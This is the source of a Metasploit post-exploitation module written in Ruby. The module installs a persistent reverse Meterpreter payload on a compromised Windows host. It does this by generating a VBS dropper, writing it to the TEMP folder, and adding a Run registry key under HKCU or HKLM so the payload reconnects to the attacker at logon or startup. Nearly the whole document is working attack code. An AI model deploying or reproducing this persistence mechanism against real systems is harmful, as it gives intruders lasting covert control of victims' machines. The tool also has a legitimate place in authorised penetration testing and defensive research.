## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry include Exploit::EXE def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Persistent Payload Installer', 'Description' => %q{ This Module will create a boot persistent reverse Meterpreter session by installing on the target host the payload as a script that will be executed at user logon or system startup depending on privilege and selected startup method. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez ' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Oct 19 2011" )) register_options( [ OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), OptString.new('PATH',[false, 'Path to write payload']), ], self.class) end # Exploit Method for when exploit command is issued def exploit print_status("Running module against #{sysinfo['Computer']}") rexename = datastore['REXENAME'] delay = datastore['DELAY'] reg_val = datastore['REG_NAME'] @clean_up_rc = "" host,port = session.session_host, session.session_port exe = generate_payload_exe script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) script_on_target = write_script_to_target(script, rexename) # exit the module because we failed to write the file on the target host. return unless script_on_target # Initial execution of script case datastore['STARTUP'] when 'USER' # if we could not write the entry in the registy we exit the module. return unless write_to_reg("HKCU", script_on_target, reg_val) when 'SYSTEM' # if we could not write the entry in the registy we exit the module. return unless write_to_reg("HKLM", script_on_target, reg_val) end clean_rc = log_file() file_local_write(clean_rc, @clean_up_rc) print_status("Cleanup Meterpreter RC File: #{clean_rc}") report_note(:host => host, :type => "host.persistance.cleanup", :data => { :local_id => session.sid, :stype => session.type, :desc => session.info, :platform => session.platform, :via_payload => session.via_payload, :via_exploit => session.via_exploit, :created_at => Time.now.utc, :commands => @clean_up_rc } ) end # Function for creating log folder and returning log path def log_file(log_path = nil) #Get hostname host = session.sys.config.sysinfo["Computer"] # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory ::FileUtils.mkdir_p(logs) #logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" return logfile end # Writes script to target host and returns the pathname of the target file or nil if the # file could not be written. def write_script_to_target(vbs, name) tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP') unless name tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else tempvbs = tempdir + "\\" + name + ".vbs" end begin write_file(tempvbs, vbs) print_good("Persistent Script written to #{tempvbs}") # Escape windows pathname separators. @clean_up_rc << "rm #{tempvbs.gsub(/\\/, '//')}\n" rescue print_error("Could not write the payload on the target hosts.") # return nil since we could not write the file on the target host. tempvbs = nil end return tempvbs end # Executes script on target and returns true if it was successfully started def target_exec(script_on_target) execsuccess = true print_status("Executing script #{script_on_target}") # error handling for process.execute() can throw a RequestError in send_request. begin unless datastore['EXE::Custom'] session.shell_command_token(script_on_target) else session.shell_command_token("cscript \"#{script_on_target}\"") end rescue print_error("Failed to execute payload on target host.") execsuccess = false end return execsuccess end # Installs payload in to the registry HKLM or HKCU def write_to_reg(key, script_on_target, registry_value) nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8) key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" print_status("Installing into autorun as #{key_path}\\#{nam}") if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ") print_good("Installed into autorun as #{key_path}\\#{nam}") return true else print_error("Failed to make entry in the registry for persistence.") end false end end